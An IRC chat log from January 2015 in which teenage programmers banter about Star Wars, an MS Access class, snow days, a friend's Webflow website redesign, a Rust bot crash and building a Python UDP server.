[2015-01-14T00:30:10-0500] <+hardmath123> which you are completely free to use every once in a while
[2015-01-14T00:30:53-0500] <+Tamini> i think the idiocy of it all is the point tho
[2015-01-14T00:31:32-0500] <+hardmath123> but 300+ pages of idiocy?
[2015-01-14T00:31:46-0500] <+hardmath123> i mean, it's like Jar-Jar Binks narrating all of Star Wars
[2015-01-14T00:33:47-0500] <+Tamini> (i dont get that reference)
[2015-01-14T00:33:49-0500] <+Tamini> cry.
[2015-01-14T00:34:05-0500] <+hardmath123> you haven't watched the star wars movies?
[2015-01-14T00:36:35-0500] <+Tamini> nope
[2015-01-14T00:36:36-0500] <+Tamini> :D
[2015-01-14T00:36:44-0500] • hardmath123: declares an emergency movie night.
[2015-01-14T00:36:50-0500] <+Tamini> lol it's 12:30 here
[2015-01-14T00:37:02-0500] • hardmath123: declares an emergency movie morning.
[2015-01-14T00:37:15-0500] <LittleBobbyTables> Man
[2015-01-14T00:37:22-0500] <LittleBobbyTables> I should have probably read the tutorial for this
[2015-01-14T00:37:28-0500] <LittleBobbyTables> before trying to do the homework and test
[2015-01-14T00:37:32-0500] <LittleBobbyTables> Access is so weird
[2015-01-14T00:38:16-0500] <@awe> Hmm.
[2015-01-14T00:38:24-0500] <@awe> I wonder how long this is going to take.
[2015-01-14T00:39:21-0500] <@awe> Guys, do some talking.
[2015-01-14T00:39:24-0500] <+hardmath123> Tamini: or if you insist on staying on your computer
[2015-01-14T00:39:26-0500] <+hardmath123> Tamini: telnet towel.blinkenlights.nl 23
[2015-01-14T00:39:27-0500] <LittleBobbyTables> awe
[2015-01-14T00:39:29-0500] <LittleBobbyTables> do you know access
[2015-01-14T00:39:29-0500] <@awe> Yes?
[2015-01-14T00:39:32-0500] <+Tamini> I know
[2015-01-14T00:39:33-0500] <@awe> Access?
[2015-01-14T00:39:40-0500] <LittleBobbyTables> Correct
[2015-01-14T00:39:47-0500] <@awe> I don't know.
[2015-01-14T00:39:49-0500] <@awe> What's access?
[2015-01-14T00:40:01-0500] <LittleBobbyTables> The program
[2015-01-14T00:40:06-0500] <jwoglom> MS access? O_o
[2015-01-14T00:40:09-0500] <jwoglom> what are you using that for?
[2015-01-14T00:40:10-0500] <LittleBobbyTables> yeah
[2015-01-14T00:40:13-0500] <LittleBobbyTables> A class
[2015-01-14T00:40:14-0500] <@awe> No idea.
[2015-01-14T00:40:30-0500] <@awe> I've never used it before.
[2015-01-14T00:40:34-0500] <+Tamini> i missed this
[2015-01-14T00:41:08-0500] <LittleBobbyTables> jwoglom: do you know it at all
[2015-01-14T00:41:15-0500] <jwoglom> hardmath123: i'm surprised that still works, lol
[2015-01-14T00:41:19-0500] <jwoglom> LittleBobbyTables: i've never used it
[2015-01-14T00:41:24-0500] <LittleBobbyTables> damn
[2015-01-14T00:41:32-0500] <jwoglom> but i know it's MS' database manager thingy
[2015-01-14T00:41:58-0500] <jwoglom> and from what i've heard about it I see no reason to want to use it
[2015-01-14T00:42:02-0500] <LittleBobbyTables> lol
[2015-01-14T00:48:40-0500] <@awe> Yeah, who would?
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[2015-01-14T01:13:41-0500] <nezorg> http://www.xkcdb.com/7561
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[2015-01-14T01:20:07-0500] <@awe> nezorg: o lawd
[2015-01-14T01:22:01-0500] <LittleBobbyTables> http://quizlet.com/45061536/access-tutorial-1-flash-cards/
[2015-01-14T01:22:10-0500] <LittleBobbyTables> all my exam questions
[2015-01-14T01:22:11-0500] <LittleBobbyTables> plus more
[2015-01-14T01:22:20-0500] <LittleBobbyTables> well, test. quiz is more accurate
[2015-01-14T01:25:30-0500] <nezorg> ...people use access?
[2015-01-14T01:26:34-0500] <nezorg> willingly?
[2015-01-14T01:27:31-0500] <LittleBobbyTables> I'm in a class
[2015-01-14T01:27:32-0500] <LittleBobbyTables> :/
[2015-01-14T01:28:48-0500] <nezorg> but why
[2015-01-14T01:31:39-0500] <LittleBobbyTables> It's the core "Database Systems" class, which is a prereq for other classes, which are prereqs for useful things.
[2015-01-14T01:31:50-0500] <LittleBobbyTables> I wish I could just sort of skip the first year of college, that would be nice
[2015-01-14T01:32:13-0500] <nezorg> does your school not allow you to skip prereqs?
[2015-01-14T01:34:28-0500] <LittleBobbyTables> It's a community college
[2015-01-14T01:35:08-0500] <LittleBobbyTables> anyway
[2015-01-14T01:35:09-0500] <LittleBobbyTables> sleep time
[2015-01-14T01:40:45-0500] <@awe> nezorg: most of the xkcdb quotes appear to just be people saying Bananas!
[2015-01-14T01:41:14-0500] <nezorg> perhaps you have inadvertantly enabled bananas mode
[2015-01-14T01:41:18-0500] <nezorg> ...not kidding
[2015-01-14T01:41:34-0500] <@awe> Oh.
[2015-01-14T01:41:35-0500] <@awe> I did.
[2015-01-14T01:41:36-0500] <@awe> You're right.
[2015-01-14T01:41:41-0500] <@awe> That makes 100% more sense.
[2015-01-14T01:41:45-0500] <@awe> (Why is that a thing?)
[2015-01-14T01:42:32-0500] <nezorg> april fools
[2015-01-14T01:42:43-0500] <@awe> o
[2015-01-14T01:51:14-0500] <@awe> nezorg: http://www.xkcdb.com/8195
[2015-01-14T01:51:15-0500] <@awe> heyohhh.
[2015-01-14T01:52:32-0500] <nezorg> there are a good number of people who still swear by perl
[2015-01-14T01:53:08-0500] <@awe> And all of them are wrong.
[2015-01-14T01:59:12-0500] <@awe> ...
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[2015-01-14T02:00:07-0500] <@awe> I need to test something.
[2015-01-14T02:00:59-0500] <@awe> test
[2015-01-14T02:01:02-0500] <@awe> hmahm
[2015-01-14T02:01:05-0500] <@awe> awebot_
[2015-01-14T02:01:11-0500] <@awe> Okay.
[2015-01-14T02:01:12-0500] <@awe> Hmm.
[2015-01-14T02:01:18-0500] <@awe> Maybe it's a linux thing.
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[2015-01-14T02:11:02-0500] <nezorg> http://www.xkcdb.com/4605
[2015-01-14T02:13:38-0500] <nezorg> http://www.xkcdb.com/9034
[2015-01-14T02:14:17-0500] <@awe> qq
[2015-01-14T02:14:18-0500] <@awe> erm
[2015-01-14T02:14:21-0500] <@awe> wrong channel
[2015-01-14T02:14:39-0500] • nezorg: claps
[2015-01-14T02:15:26-0500] <@awe> free as in carbohydrates.
[2015-01-14T02:15:27-0500] <@awe> lol'd
[2015-01-14T02:17:24-0500] <nezorg> awe: http://www.xkcdb.com/9146 XD XD XD
[2015-01-14T02:17:38-0500] <@awe> hah
[2015-01-14T02:21:29-0500] <@awe> So, this is weird.
[2015-01-14T02:21:45-0500] <@awe> awebot crashes on reload on Linux.
[2015-01-14T02:21:54-0500] <@awe> http://sprunge.us/PNRQ
[2015-01-14T02:41:50-0500] <ubuntor> oh dear
[2015-01-14T02:42:04-0500] <ubuntor> shared library functions
[2015-01-14T02:42:20-0500] <@awe> Yeah, I'm talking to one of the lead Rust devs about it now.
[2015-01-14T02:42:34-0500] <@awe> It works fine on OS X, but on Linux, it explodes.
[2015-01-14T02:43:24-0500] <@awe> I've had so many problems with dynamic library support.
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[2015-01-14T03:32:59-0500] <ubuntor> gah, fermat's last tango is stuck in my head
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[2015-01-14T06:36:14-0500] Pidgey sets mode +v JacobEdelman
[2015-01-14T06:37:26-0500] <+JacobEdelman> I have rearrived
[2015-01-14T06:37:26-0500] <awebot> JacobEdelman: 6 hours ago, Tamini said we have an actual qdb now, add stuff to them.
[2015-01-14T06:37:45-0500] <+JacobEdelman> wait, we do? at 12:37 we got one?
[2015-01-14T06:37:50-0500] <+JacobEdelman> whats the url!?
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[2015-01-14T07:43:38-0500] <+JacobEdelman> wait, alokpathy, where are you?
[2015-01-14T09:08:12-0500] <alokpathy> JacobEdelman: tophy
[2015-01-14T09:28:57-0500] <+JacobEdelman> oh, okay
[2015-01-14T11:50:55-0500] <nezorg> why am I not a cyberpunk https://learn.adafruit.com/cyberpunk-spikes
[2015-01-14T12:12:11-0500] <alokpathy> awe: When do you want to leave on Friday?
[2015-01-14T12:37:37-0500] <alokpathy> nezorg: lolwut
[2015-01-14T13:05:36-0500] <+Tamini> lol
[2015-01-14T13:05:40-0500] <+Tamini> oh yay, dy off from school <3
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[2015-01-14T13:51:00-0500] <alokpathy> Tamini: You're off? o.o
[2015-01-14T13:51:02-0500] <alokpathy> but why?
[2015-01-14T13:52:09-0500] <jwoglom> alokpathy: there was a chance of 0-1 inches of snow this morning
[2015-01-14T13:52:23-0500] <jwoglom> so the county freaked out and cancelled to avoid what happened a week ago
[2015-01-14T13:52:30-0500] <alokpathy> Ah
[2015-01-14T13:52:33-0500] <alokpathy> Did it snow?
[2015-01-14T13:52:40-0500] <jwoglom> barely even, lol
[2015-01-14T13:52:45-0500] <alokpathy> Lol
[2015-01-14T13:52:53-0500] <alokpathy> We've had basically no snow so far.
[2015-01-14T13:53:15-0500] <alokpathy> Cold + no snow is not a good combination.
[2015-01-14T13:53:33-0500] <+Tamini> alokpathy: lol
[2015-01-14T13:53:39-0500] <+Tamini> yeah our county is paranoid
[2015-01-14T13:53:51-0500] <alokpathy> Our's is negatively paranoid.
[2015-01-14T13:54:26-0500] <jwoglom> they (and the other school systems in the area) got so much shit last week for not delaying or cancelling
[2015-01-14T13:55:15-0500] <alokpathy> Yeah, I heard.
[2015-01-14T13:55:21-0500] <alokpathy> .-.
[2015-01-14T13:55:32-0500] <alokpathy> Well, rather, I expected it after you told me what happened.
[2015-01-14T14:00:19-0500] <+Tamini> are you at school? :P
[2015-01-14T14:01:29-0500] <alokpathy> Yeah.
[2015-01-14T14:03:10-0500] <+Tamini> ah
[2015-01-14T14:04:14-0500] <alokpathy> It's almost done, but I have CS Club after this.
[2015-01-14T14:04:15-0500] <nezorg> http://www.understandingcharliehebdo.com/
[2015-01-14T14:04:51-0500] <+Tamini> ah
[2015-01-14T14:04:57-0500] <+Tamini> yeah i would've had math team today
[2015-01-14T14:04:59-0500] <+Tamini> but nah
[2015-01-14T14:05:06-0500] <+Tamini> but ughhh hmmt is so much afterschool practice y
[2015-01-14T14:05:40-0500] <alokpathy> Lol we've sorta started preparing.
[2015-01-14T14:06:17-0500] <jwoglom> lol we haven't had a red day since last friday
[2015-01-14T14:06:32-0500] <jwoglom> and the next one now will be this friday
[2015-01-14T14:07:49-0500] <alokpathy> It took me four minutes to realize nezorg sent something.
[2015-01-14T14:08:04-0500] <alokpathy> Wow alokpathy 
[2015-01-14T14:12:50-0500] <+Tamini> lolol
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[2015-01-14T14:15:02-0500] <+Tamini> whoa,
[2015-01-14T14:15:03-0500] <+Tamini> dude
[2015-01-14T14:15:06-0500] <+Tamini> how long has it been?
[2015-01-14T14:15:10-0500] <Kipper> decades
[2015-01-14T14:15:27-0500] <+Tamini> how have you been?
[2015-01-14T14:15:39-0500] <Kipper> its cold
[2015-01-14T14:16:22-0500] <Kipper> i need help with a python udp server
[2015-01-14T14:16:25-0500] <+Tamini> lolol
[2015-01-14T14:16:30-0500] <+Tamini> of course you're here for tech support
[2015-01-14T14:16:34-0500] <Kipper> if anyone knows anything about that
[2015-01-14T14:16:35-0500] <Kipper> xD
[2015-01-14T14:17:26-0500] <Kipper> alok suggested i try here
[2015-01-14T14:17:29-0500] <Kipper> also hi
[2015-01-14T14:19:44-0500] <alokpathy> Kipper: :D
[2015-01-14T14:19:55-0500] <+Tamini> lolol
[2015-01-14T14:19:59-0500] <+Tamini> i've missed ya, man
[2015-01-14T14:20:01-0500] <+Tamini> how've you been
[2015-01-14T14:20:09-0500] <Kipper> decades
[2015-01-14T14:20:12-0500] <Kipper> its cold
[2015-01-14T14:20:33-0500] <+Tamini> lol
[2015-01-14T14:20:40-0500] <+Tamini> you're in college now right
[2015-01-14T14:20:49-0500] <Kipper> still yep
[2015-01-14T14:20:52-0500] <Kipper> second semester
[2015-01-14T14:21:38-0500] <Kipper> u substitution is starting to make sense
[2015-01-14T14:21:41-0500] <Kipper> so that's nice
[2015-01-14T14:21:57-0500] <+Tamini> oh yay, calculus :D
[2015-01-14T14:22:05-0500] <Kipper> thought you might like that yeah
[2015-01-14T14:24:54-0500] <Kipper> is there a date for HSCTF2 yet?
[2015-01-14T14:26:13-0500] <alokpathy> Ya
[2015-01-14T14:26:16-0500] <alokpathy> May17th-14th.
[2015-01-14T14:26:23-0500] <alokpathy> Er, 24th*
[2015-01-14T14:26:25-0500] <Kipper> ill be out of school :D
[2015-01-14T14:26:35-0500] <alokpathy> Yayy :D
[2015-01-14T14:26:36-0500] <Kipper> college ends in late april
[2015-01-14T14:26:43-0500] <Kipper> dats cray
[2015-01-14T14:26:46-0500] <alokpathy> Wow college kids
[2015-01-14T14:26:48-0500] <alokpathy> and their breaks.
[2015-01-14T14:27:02-0500] <alokpathy> Was your winter break also a month long?
[2015-01-14T14:27:04-0500] <Kipper> my gf is still on winter break
[2015-01-14T14:27:06-0500] <Kipper> nope
[2015-01-14T14:27:09-0500] <Kipper> 3 weeks
[2015-01-14T14:27:14-0500] <Kipper> hers is like 5-6
[2015-01-14T14:27:16-0500] <alokpathy> Close enough LOL
[2015-01-14T14:27:19-0500] <alokpathy> Mine was like
[2015-01-14T14:27:19-0500] <alokpathy> 1
[2015-01-14T14:27:33-0500] <Kipper> when i lived in LA it was 3 weeks for all grade levels
[2015-01-14T14:27:54-0500] <alokpathy> Wow, really?
[2015-01-14T14:28:05-0500] <Kipper> yeah and spring was 1
[2015-01-14T14:28:06-0500] <alokpathy> I always though HS winter breaks were much shorter since we still have classes.
[2015-01-14T14:28:11-0500] <Kipper> but we didnt have snow days
[2015-01-14T14:28:22-0500] <alokpathy> Ah, makes sense.
[2015-01-14T14:28:23-0500] <alokpathy> LA xD
[2015-01-14T14:28:30-0500] <alokpathy> We have a few every year.
[2015-01-14T14:28:32-0500] <Kipper> also no assignments of WB because semester ends
[2015-01-14T14:28:33-0500] <Kipper> :D
[2015-01-14T14:28:41-0500] <alokpathy> Yeah omg .-.
[2015-01-14T14:28:47-0500] <Kipper> #closeFCPS
[2015-01-14T14:28:54-0500] <Kipper> trended worldwide
[2015-01-14T14:29:00-0500] <+Tamini> ooomg yeah
[2015-01-14T14:29:01-0500] <+Tamini> lolol
[2015-01-14T14:29:03-0500] <+Tamini> we dont have class today
[2015-01-14T14:29:06-0500] <Kipper> because FCPS didn't close schools
[2015-01-14T14:29:09-0500] <Kipper> yeah i saw
[2015-01-14T14:29:17-0500] <Kipper> for like a quarter inch of snow right?
[2015-01-14T14:30:11-0500] <nezorg> people use twitter?
[2015-01-14T14:30:12-0500] <alokpathy> Only because of the shit that happened last week.
[2015-01-14T14:30:12-0500] <nezorg> wow
[2015-01-14T14:30:35-0500] <alokpathy> pdgn > twitter
[2015-01-14T14:30:38-0500] <+Tamini> lol yeahh
[2015-01-14T14:30:39-0500] <jwoglom> lol yep, it did
[2015-01-14T14:30:41-0500] <+Tamini> its amazing
[2015-01-14T14:31:02-0500] <jwoglom> how that even happened i don't even
[2015-01-14T14:32:32-0500] <nezorg> what is this?
[2015-01-14T15:43:18-0500] <@awe> [12:12:11]  <alokpathy>	awe: When do you want to leave on Friday?
[2015-01-14T15:43:21-0500] <@awe> alokpathy: you tell me.
[2015-01-14T15:59:32-0500] <Kipper> heya awe
[2015-01-14T15:59:42-0500] <Kipper> know anything about python udp servers? :D
[2015-01-14T16:07:16-0500] <@awe> I don't do Python.
[2015-01-14T16:07:20-0500] <@awe> So, no.
[2015-01-14T16:07:38-0500] <@awe> nezorg: I liked the understanding Charlie Hebdo site.
[2015-01-14T16:10:56-0500] <alokpathy> awe: 3pm plz
[2015-01-14T16:11:05-0500] <@awe> Sure.
[2015-01-14T16:22:06-0500] <nezorg> awe: yeah -- I was under the impression charlie was insulting muslims, but it seems more like they sympathized with them
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[2015-01-14T17:07:54-0500] <@awe> They're very anti-dogma.
[2015-01-14T17:08:28-0500] <@awe> hardmath123: DO supports Freedom now.
[2015-01-14T17:15:21-0500] <+JacobEdelman> I'm redoing my website
[2015-01-14T17:15:26-0500] <+JacobEdelman> with lots of whitespace
[2015-01-14T17:15:28-0500] <+JacobEdelman> and such
[2015-01-14T17:15:32-0500] <+JacobEdelman> and without the windows
[2015-01-14T17:15:51-0500] <+JacobEdelman> using webflow.com which I have found is very nice
[2015-01-14T17:16:11-0500] <+JacobEdelman> it's like a css and html editor, except all the attributes are accessbile with nice guis and live updates
[2015-01-14T17:27:14-0500] <Kipper> jacob: do you have any idea where to begin when creating a python udp server that accepts serial inputs?
[2015-01-14T17:30:31-0500] <nezorg> whaddya mean by serial inputs?
[2015-01-14T17:32:59-0500] <@awe> Gross, drag-and-drog website editors.
[2015-01-14T17:34:16-0500] <@awe> drop*
[2015-01-14T17:43:55-0500] <@awe> At least it seems to be a modern drag-and-drop website editor though.
[2015-01-14T17:44:39-0500] <@awe> Nevermind. I found the billing, this is trash.
[2015-01-14T17:45:23-0500] <@awe> $16/mo billed annually in order to export the HTML/CSS.
[2015-01-14T17:45:38-0500] <@awe> $14/mo billed annually in order to have a domain that isn't .webflow.
[2015-01-14T17:45:41-0500] <@awe> JacobEdelman: why are you using this trash?
[2015-01-14T17:46:18-0500] <ubuntor> that's pretty bad
[2015-01-14T17:54:55-0500] <+JacobEdelman> wait, exporting costs?
[2015-01-14T17:54:58-0500] <+JacobEdelman> I hadn't realized that
[2015-01-14T17:55:13-0500] <+JacobEdelman> even if it does... I can probaly just copy the html and css, maybe?
[2015-01-14T17:57:13-0500] <@awe> ...
[2015-01-14T17:57:16-0500] <@awe> That'll turn out poorly.
[2015-01-14T18:09:10-0500] <+JacobEdelman> hmmm... the supposedly incomplete preview css and html they give
[2015-01-14T18:09:13-0500] <+JacobEdelman> works fine
[2015-01-14T18:09:16-0500] <+JacobEdelman> for my site
[2015-01-14T18:09:48-0500] <+JacobEdelman> (also, extracting final rendered html and css can't be hard, I mean, my browser does most of it already, its the small amount of js that would be hard)
[2015-01-14T18:19:24-0500] <@awe> That's a huge pain in the ass, anyway.
[2015-01-14T18:20:28-0500] <+JacobEdelman> ahh... take that back
[2015-01-14T18:20:34-0500] <+JacobEdelman> the preview stuff is broken
[2015-01-14T18:20:40-0500] <+JacobEdelman> back to extracting stuff from what they gave me
[2015-01-14T18:21:03-0500] <@awe> Why not just make a website yourself?
[2015-01-14T18:21:23-0500] <@awe> Also, I'm glad you're getting rid of the stupid windows thing.
[2015-01-14T18:21:31-0500] <@awe> It's superbly annoying.
[2015-01-14T18:28:20-0500] <+JacobEdelman> here's what my site will look like: 
[2015-01-14T18:28:21-0500] <+JacobEdelman> http://mei4wte8y7.webflow.com
[2015-01-14T18:40:14-0500] <@awe> Still pretty gross.
[2015-01-14T18:56:15-0500] <+JacobEdelman> what?
[2015-01-14T18:56:17-0500] <+JacobEdelman> no!
[2015-01-14T18:56:20-0500] <+JacobEdelman> its pretty!!!
[2015-01-14T18:56:36-0500] <+JacobEdelman> hardmath123: Tamini alokpathy nezorg how does http://mei4wte8y7.webflow.com look?
[2015-01-14T18:57:09-0500] <nezorg> not great on mobile
[2015-01-14T18:57:16-0500] <+JacobEdelman> oh, well sorry, try it on desktop
[2015-01-14T18:57:23-0500] <+JacobEdelman> I havn't bothered with mobile stuff yet
[2015-01-14T18:57:32-0500] <@awe> It's gross on desktop, too.
[2015-01-14T18:57:49-0500] <@awe> I don't like the way the links slide and stuff.
[2015-01-14T18:58:08-0500] <+JacobEdelman> wait, they slide?
[2015-01-14T18:58:13-0500] <+JacobEdelman> you mean the tabs?
[2015-01-14T18:59:15-0500] <@awe> Tabs?
[2015-01-14T18:59:20-0500] <@awe> They're words.
[2015-01-14T18:59:26-0500] <@awe> There's no styling. It's hard to call them tabs.
[2015-01-14T19:00:50-0500] <+hardmath123> JacobEdelman: I dislike the way stuff moves, but I like the general font/colorscheme/liberal use of whitespace.
[2015-01-14T19:01:00-0500] <+hardmath123> Kipper: I can help with Python, what's your problem? :)
[2015-01-14T19:01:15-0500] <@awe> The content is pretty bad.
[2015-01-14T19:01:26-0500] <@awe> I think it's in a bad zone of margining, also.
[2015-01-14T19:01:38-0500] <@awe> It's too wide.
[2015-01-14T19:02:12-0500] <+hardmath123> It suddenly gets wider as you shrink the page.
[2015-01-14T19:02:26-0500] <@awe> You mean it's not responsive at all?
[2015-01-14T19:02:26-0500] <@awe> Yeah.
[2015-01-14T19:02:31-0500] <+hardmath123> The animation is janky and occasionally skips in weird ways.
[2015-01-14T19:03:08-0500] <@awe> That's your browser, bro-dude.
[2015-01-14T19:03:09-0500] <+hardmath123> But overall, I'm impressed.
[2015-01-14T19:03:15-0500] <@awe> Impressed by what?
[2015-01-14T19:03:18-0500] <+hardmath123> It's like a 500x improvement over hscs.io.
[2015-01-14T19:03:22-0500] <@awe> Jacob didn't make it, it's a drag-and-drop editor.
[2015-01-14T19:03:43-0500] <+hardmath123> Still, the fact that he's attaching his name to something comparitively much more refined. :)
[2015-01-14T19:05:09-0500] <+JacobEdelman> what? I like hscs.io ...
[2015-01-14T19:05:13-0500] <+JacobEdelman> (just not the color scheme)
[2015-01-14T19:05:21-0500] <@awe> It seems like a cheap knockoff of my website.
[2015-01-14T19:05:30-0500] <+JacobEdelman> .... it's a cheap knockoff of hsctf.com
[2015-01-14T19:05:43-0500] <+JacobEdelman> which was made from a template and heavily edited
[2015-01-14T19:05:49-0500] <+JacobEdelman> and is beautiful 
[2015-01-14T19:06:10-0500] <+hardmath123> Also, I'm not sure I like how links develop shadowboxes around them when hovered.
[2015-01-14T19:06:39-0500] <@awe> hsctf.com is not beautiful
[2015-01-14T19:07:18-0500] <@awe> No, the boxes are gross.
[2015-01-14T19:13:23-0500] <+JacobEdelman> I don't like the boxes either
[2015-01-14T19:13:27-0500] <+JacobEdelman> I'll remove them I guess
[2015-01-14T19:14:35-0500] <+JacobEdelman> done
[2015-01-14T19:16:03-0500] <+JacobEdelman> quiet frankly I'm becoming more and more disillusioned over time with website design
[2015-01-14T19:16:10-0500] <+JacobEdelman> it seems to subjective
[2015-01-14T19:16:17-0500] <+JacobEdelman> but than again, I'm not artsy
[2015-01-14T19:17:12-0500] <+JacobEdelman> hardmath123: I'm not seeing any problems with changing the screen size
[2015-01-14T19:22:29-0500] <alokpathy> awe: http://cms.business-services.upenn.edu/parking/evening-and-weekend-parking.html
[2015-01-14T19:22:51-0500] <+JacobEdelman> alokpathy: is this prettier than my old site? http://mei4wte8y7.webflow.com/
[2015-01-14T19:24:31-0500] <alokpathy> The enlargement of the header words is a bit rough.
[2015-01-14T19:24:51-0500] <alokpathy> Other than that it seems okay, but I have very low standards.
[2015-01-14T19:25:59-0500] <+JacobEdelman> alokpathy: you mean of the tab like things?
[2015-01-14T19:30:29-0500] <alokpathy> Yeah, I guess
[2015-01-14T19:30:32-0500] <+JacobEdelman> hardmath123: umm... backtick may see an explosion of members in the next few hours
[2015-01-14T19:31:07-0500] <+JacobEdelman> myself and justin yang mentioned it in response to an hshackers question about tilde servers for high schoolers
[2015-01-14T19:31:15-0500] <+hardmath123> AWWEESSOMMEE
[2015-01-14T19:31:29-0500] <+hardmath123> Justin Yang goes to my school. As weird as he is smart.
[2015-01-14T19:31:31-0500] <+hardmath123> :D
[2015-01-14T19:32:41-0500] <+Tamini> JacobEdelman: it looks alright
[2015-01-14T19:35:08-0500] <+JacobEdelman> hardmath123: weird is good !
[2015-01-14T19:35:33-0500] <+hardmath123> Indeed.
[2015-01-14T19:38:56-0500] <Kipper> hardmath123: i need to create a udp server in python but idk where to even begin. also, it needs to accept serial inputs.
[2015-01-14T19:39:22-0500] <+hardmath123> Kipper: serial inputs? USB?
[2015-01-14T19:39:40-0500] <+hardmath123> Kipper: to make a UDP server, do the same thing you'd do for TCP, but instead of SOCK_STREAM, use SOCK_DGRAM
[2015-01-14T19:39:53-0500] <@awe> Yeah, I was going to say making a UDP server should be almost identical to a TCP server.
[2015-01-14T19:40:57-0500] <Kipper> that would be great if i knew how to make a TCP server
[2015-01-14T19:41:36-0500] <Kipper> im great at conventional python, but making actual useful stuff is not something ive done before
[2015-01-14T19:41:46-0500] <+hardmath123> http://ilab.cs.byu.edu/python/socket/echoserver.html is nice
[2015-01-14T19:42:03-0500] <@awe> That's really gross.
[2015-01-14T19:42:16-0500] <+hardmath123> but it tells you what's going on, which is sorta important to know
[2015-01-14T19:43:09-0500] <+hardmath123> if you don't care about that, you can use a framework like Twisted (http://twistedmatrix.com/documents/13.2.0/core/howto/udp.html)
[2015-01-14T19:43:54-0500] <@awe> This is a TCP server in Rust: https://github.com/aatxe/mud/blob/master/src/main.rs
[2015-01-14T19:44:01-0500] <@awe> well, a TCP echo server.
[2015-01-14T19:45:04-0500] <+hardmath123> it's almost the same thing
[2015-01-14T19:45:12-0500] <@awe> Except for how accepting works.
[2015-01-14T19:45:19-0500] <@awe> My issue is the design.
[2015-01-14T19:58:03-0500] <@awe> iterating over incoming connections is logical.
[2015-01-14T19:59:07-0500] <@awe> If you had a function foo that spawns a greenthread for each connection, you could just do acceptor.incoming().map(|c| greenthread_func(c))
[2015-01-14T19:59:11-0500] <@awe> and boom, magic.
[2015-01-14T19:59:36-0500] <@awe> well, if it was named foo, it'd be acceptor.incomg().map(|c| foo(c))
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[2015-01-14T20:34:23-0500] <+Tamini> blh: hello :O 
[2015-01-14T20:34:47-0500] <+Tamini> who is this?
[2015-01-14T20:35:17-0500] <blh> hello, I'm just a friend of awe
[2015-01-14T20:35:27-0500] <@awe> hi blh
[2015-01-14T20:35:38-0500] <blh> hi
[2015-01-14T20:35:47-0500] <+Tamini> oh hi :D
[2015-01-14T20:36:15-0500] <alokpathy> Welcome blh :D
[2015-01-14T20:36:37-0500] <Kipper> bleh
[2015-01-14T20:36:45-0500] <Kipper> is how i read your name out loud
[2015-01-14T20:37:14-0500] <ubuntor> hey blh
[2015-01-14T20:38:47-0500] <blh> bleh is appropriate
[2015-01-14T20:40:48-0500] <@awe> He's connected over Hyperboria :D
[2015-01-14T20:41:16-0500] <+Tamini> you're so proud
[2015-01-14T20:41:25-0500] <@awe> Yeah, I helped him set it up and get peered into the network.
[2015-01-14T20:41:32-0500] <@awe> None of you fools will do it. :(
[2015-01-14T20:41:38-0500] <+Tamini> im laaaazy 
[2015-01-14T20:41:43-0500] <+Tamini> maybe after midterm
[2015-01-14T20:41:44-0500] <+Tamini> s
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[2015-01-14T21:00:31-0500] <+JacobEdelman>  blh: are you gonna be at pennapps?
[2015-01-14T21:00:46-0500] <@awe> No.
[2015-01-14T21:00:56-0500] <blh> ^
[2015-01-14T21:01:17-0500] <+JacobEdelman> ahhh... I'll have to interro- interview you over irc than
[2015-01-14T21:01:24-0500] <+JacobEdelman> (I do so to everyone who joins pdgn)
[2015-01-14T21:01:43-0500] <+JacobEdelman> (well, I still have to interview zrl I think)
[2015-01-14T21:02:18-0500] <zrl> huh?
[2015-01-14T21:02:21-0500] <zrl> ah, pm
[2015-01-14T21:02:24-0500] <+hardmath123> i vouch for zrl as cool
[2015-01-14T21:02:29-0500] <+JacobEdelman> I know he's cool
[2015-01-14T21:02:38-0500] <+JacobEdelman> but I still need to find out exactly how cool
[2015-01-14T21:02:38-0500] <+JacobEdelman> gtg
[2015-01-14T21:02:39-0500] <+JacobEdelman> gnight
[2015-01-14T21:02:55-0500] <zrl> holistically, right?
[2015-01-14T21:03:38-0500] <+hardmath123> i think he feeds your pm transcript to a bayesian analyzer
[2015-01-14T21:03:47-0500] <+hardmath123> trained on people he has already ranked by coolness
[2015-01-14T21:07:58-0500] <+Tamini> lol
[2015-01-14T21:08:06-0500] <@awe> hardmath123: So, I'm the maximum metric, right?
[2015-01-14T21:08:15-0500] <zrl> I'll do the interview in Lojban to throw off the analyzer
[2015-01-14T21:11:00-0500] <alokpathy> awe: We all know it's jwoglom 
[2015-01-14T21:11:18-0500] <jwoglom> hi
[2015-01-14T21:11:28-0500] <alokpathy> Hiya
[2015-01-14T21:11:36-0500] <alokpathy> Oh, context.
[2015-01-14T21:11:36-0500] <jwoglom> what am I
[2015-01-14T21:11:43-0500] <@awe> the maximum metric for coolness, apparently.
[2015-01-14T21:11:52-0500] <alokpathy> hardmath123> trained on people he has already ranked by coolness
[2015-01-14T21:11:58-0500] <alokpathy>  <•awe> hardmath123: So, I'm the maximum metric, right?
[2015-01-14T21:12:03-0500] <alokpathy>  <alokpathy> awe: We all know it's jwoglom 
[2015-01-14T21:12:11-0500] <@awe> alokpathy: so, what are we doing for PennApps?
[2015-01-14T21:12:13-0500] <jwoglom> yay i'm cool apparently
[2015-01-14T21:12:19-0500] <alokpathy> awe: Not a clue.
[2015-01-14T21:12:25-0500] <alokpathy> awe: Jacob's still in favor of the video idea.
[2015-01-14T21:12:46-0500] <alokpathy> jwoglom: (y)
[2015-01-14T21:15:11-0500] <+hardmath123> alokpathy: don't become one of those people who do (y) in non-Facebook chat clients.
[2015-01-14T21:15:24-0500] <jwoglom> lol i had to look that up
[2015-01-14T21:15:27-0500] <alokpathy> hardmath123: It feels appropriate sometimes :(
[2015-01-14T21:26:03-0500] <+Tamini> its ok alok
[2015-01-14T21:27:10-0500] <@awe> If anything, do :+1:
[2015-01-14T21:27:25-0500] <alokpathy> Oh, that works
[2015-01-14T21:27:28-0500] <alokpathy> 👍
[2015-01-14T21:31:37-0500] <ubuntor> yay unicode
[2015-01-14T21:31:40-0500] <alokpathy> zrl: Lol do you just read through the feed and judge us continuously? :P
[2015-01-14T21:32:14-0500] <zrl> Generally don't read the channel unless mentioned or otherwise curious
[2015-01-14T21:34:30-0500] <@awe> ubuntor: read through the feed and judges us :D
[2015-01-14T21:34:51-0500] <ubuntor> lol
[2015-01-14T21:39:02-0500] <@awe> ubuntor: you're a very talented lurker.
[2015-01-14T21:39:45-0500] <alokpathy> So is LittleBobbyTables 
[2015-01-14T21:42:52-0500] <+Tamini> LittleBobbyTables used to be more talkative
[2015-01-14T21:42:54-0500] <+Tamini> now he just comes on
[2015-01-14T21:43:01-0500] <+Tamini> pings nezorg about dota
